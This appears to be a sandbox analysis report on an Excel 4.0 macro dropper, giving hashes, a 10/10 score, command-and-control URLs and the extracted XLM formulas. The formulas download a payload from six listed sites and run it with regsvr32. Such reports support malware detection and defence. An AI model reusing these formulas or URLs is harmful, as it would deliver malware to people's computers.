9062ef76376c68d96fbf721f6794bd0a26215b7732aafc58d2c227743af1b624

General

Target

9062ef76376c68d96fbf721f6794bd0a26215b7732aafc58d2c227743af1b624
Size

46KB
Sample

241120-f59arasjaw
MD5

5cf314021aef4499cc7d832d1d5ce41c
SHA1

200af694d44a4fea5d4ea398b3e93b249e6c8e92
SHA256

9062ef76376c68d96fbf721f6794bd0a26215b7732aafc58d2c227743af1b624
SHA512

3e9053c244538294a3e226bcdbbaa6fd0e0165386d8ecde8732c0c8d73a448938dee57fdd3056e7fc40f726e0f4d40c95e60a1d384bd6cc2d2f9a8cc83c6f0cc
SSDEEP

768:Oio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:Oio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://diacrestgroup.com/ggv3rjy/9/

xlm40.dropper

https://merturku.com/blogs/IFcif/

xlm40.dropper

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

xlm40.dropper

https://mayatherm.com/vendor/3Vk/

xlm40.dropper

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/